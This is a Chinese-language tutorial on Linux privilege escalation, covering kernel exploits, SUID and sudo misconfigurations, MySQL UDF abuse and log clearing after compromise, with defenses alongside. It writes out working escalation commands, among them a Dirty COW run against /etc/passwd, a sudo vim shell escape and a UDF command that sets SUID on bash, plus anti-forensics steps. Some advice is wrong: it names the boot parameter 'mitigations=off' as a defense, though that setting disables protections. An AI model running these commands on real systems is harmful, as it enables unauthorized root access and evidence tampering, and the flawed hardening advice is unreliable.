Linux 提权Exp:从基础到实践的全面解析
在Linux安全领域,提权(Privilege Escalation)是渗透测试和漏洞利用中的关键环节,攻击者或安全研究人员通过提权Exp(Exploit)获取更高权限(如从普通用户提升至root),从而控制系统核心资源,本文将系统介绍Linux提权的基本原理、常见Exp类型、利用方法及防御策略,帮助读者全面理解这一技术主题。

Linux提权的基础概念
Linux提权是指利用系统或软件中的漏洞、配置错误或权限设计缺陷,提升当前用户权限的过程,根据权限来源,提权可分为内核漏洞提权、配置错误提权、服务漏洞提权和第三方软件提权四大类,提权成功后,攻击者可执行敏感操作(如修改系统文件、安装后门、窃取数据),对系统安全构成严重威胁。
提权的前提是获取一个低权限 shell,例如通过Web漏洞、SSH弱密码或社会工程学获得普通用户权限,随后,需通过信息收集阶段(如查看内核版本、环境变量、可执行文件权限)定位潜在的提权路径。
内核漏洞提权:最经典的Exp类型
内核漏洞是Linux提权中最常见且威力最大的攻击面,由于内核直接管理硬件资源和系统权限,内核漏洞一旦被利用,可直接获取root权限。
常见内核漏洞
内核漏洞多存在于内存管理、权限校验、驱动程序等模块。
- Dirty Pipe(CVE-2022-0847):Linux内核管道实现中的漏洞,允许普通用户覆盖任意只读文件,可修改
/etc/passwd或/etc/shadow实现提权。 - Dirty COW(CVE-2016-5195):经典的内存写入竞争漏洞,通过
mmap系统调用修改只读内存,可利用su或passwd提权。 - OverlayFS提权(CVE-2021-3493):OverlayFS文件系统在权限校验时的缺陷,普通用户可通过挂载操作创建特权文件。
Exp利用方法
内核漏洞的Exp通常以C语言编写,编译后执行,以Dirty COW为例,利用步骤如下:
# 下载Exp源码并编译 git clone https://github.com/dirtycow/dirtycow.github.io.git cd dirtycow.github.io/dirtyc0w/ gcc -pthread dirtyc0w.c -o dirtyc0w # 执行Exp(目标为修改passwd添加root用户) ./dirtyc0w /etc/passwd
执行后,Exp会修改/etc/passwd,添加一个root权限用户(如root:$1$xxx$xxx:0:0::/:/bin/bash),随后可通过su切换至root。
防御措施
- 及时更新内核版本(
sudo apt update && sudo apt upgrade或sudo yum update)。 - 使用SELinux或AppArmor等强制访问控制(MAC)模块限制内核权限。
- 禁用非必要内核模块(如
overlayfs)或通过grub参数限制内核功能(如mitigations=off)。
配置错误提权:容易被忽视的攻击面
系统或服务的配置错误是Linux提权的另一重要途径,这类漏洞无需复杂代码,仅需利用管理员的疏忽即可实现提权。

常见配置错误
- SUID/GUID权限滥用:SUID位使文件以所有者权限执行,若普通用户可控制SUID程序(如
/usr/bin/passwd),可能触发提权。 - sudoers配置不当:错误配置
sudo权限(如NOPASSWD: ALL)或允许危险命令(如/bin/bash、find)。 - 内部网络共享配置:NFS共享目录配置
no_root_squash选项,允许root用户写入共享文件。 - 环境变量劫持:通过修改
LD_PRELOAD等环境变量,劫持程序依赖的动态库,执行恶意代码。
Exp利用案例
案例1:SUID提权
使用find命令查找具有SUID权限的文件:
find / -perm -4000 -type f 2>/dev/null
若发现/usr/bin/find具有SUID权限,可执行以下命令提权:
find /etc/passwd -exec /bin/bash \;
案例2:sudo配置错误
若sudoers文件中配置了user ALL=(ALL:ALL) NOPASSWD: /usr/bin/vim,用户可通过vim提权:
sudo vim -c ':!/bin/bash'
防御措施
- 定期审计SUID/GUID文件(
find / -perm -4000 -o -perm -2000),移除非必要的权限。 - 严格限制
sudo权限,避免使用NOPASSWD和危险命令。 - 使用
mount选项限制NFS共享(如root_squash)。 - 检查环境变量(如
env | grep -i LD_PRELOAD),清理可疑配置。
服务漏洞提权:第三方软件的“后门”
Linux系统中的服务(如数据库、Web服务器、监控工具)若存在漏洞,可能被利用实现提权,这类漏洞通常与软件版本过旧、默认配置或未修复的CVE有关。
常见服务漏洞
- Apache/Nginx目录遍历:错误配置
DirectoryIndex或alias,可访问敏感文件(如/etc/shadow)。 - MySQL UDF提权:通过
mysql写入恶意共享库(.so文件),利用sys_exec执行命令。 - Docker容器逃逸:容器配置错误(如
--privileged)或内核漏洞(如CVE-2019-5736)可逃逸至宿主机。
Exp利用方法
以MySQL UDF提权为例(需具备mysql写入权限):

# 创建恶意共享库
gcc -shared -o lib_mysqludf_sys.so -fPIC lib_mysqludf_sys.c
# 上传至服务器并导入MySQL
mysql -u root -p
mysql> CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
mysql> SELECT sys_exec('chmod +s /bin/bash');
执行后,/bin/bash将获得SUID权限,普通用户可通过bash -p提权。
防御措施
- 及时更新服务软件版本(如
sudo apt install --only-upgrade apache2)。 - 禁用服务的不必要功能(如MySQL的
--local-infile)。 - 使用最小权限原则运行容器,避免
--privileged参数。
提权后的痕迹清理与持久化控制
提权成功后,攻击者通常会清理日志、创建后门以维持权限,防御方需通过日志分析发现异常行为。
常见清理操作
- 清除
bash历史记录(history -c或删除~/.bash_history)。 - 修改日志文件(如
/var/log/auth.log、/var/log/secure)。 - 使用
rootkit隐藏进程和文件。
防御建议
- 集中管理日志(如使用ELK Stack),监控异常登录和权限提升操作。
- 定期检查系统文件完整性(如
AIDE工具)。 - 限制
root登录(PermitRootLogin no),使用sudo管理权限。
Linux提权Exp是安全攻防中的重要技术,其利用方式涵盖内核漏洞、配置错误、服务漏洞等多个维度,对于防御方而言,保持系统更新、最小化权限配置、定期审计是关键;对于研究人员,需在合法授权下测试漏洞,避免对系统造成损害。
随着Linux内核和服务的不断迭代,提权技术也在演化,只有深入理解提权原理,才能更好地构建防御体系,保障系统安全。















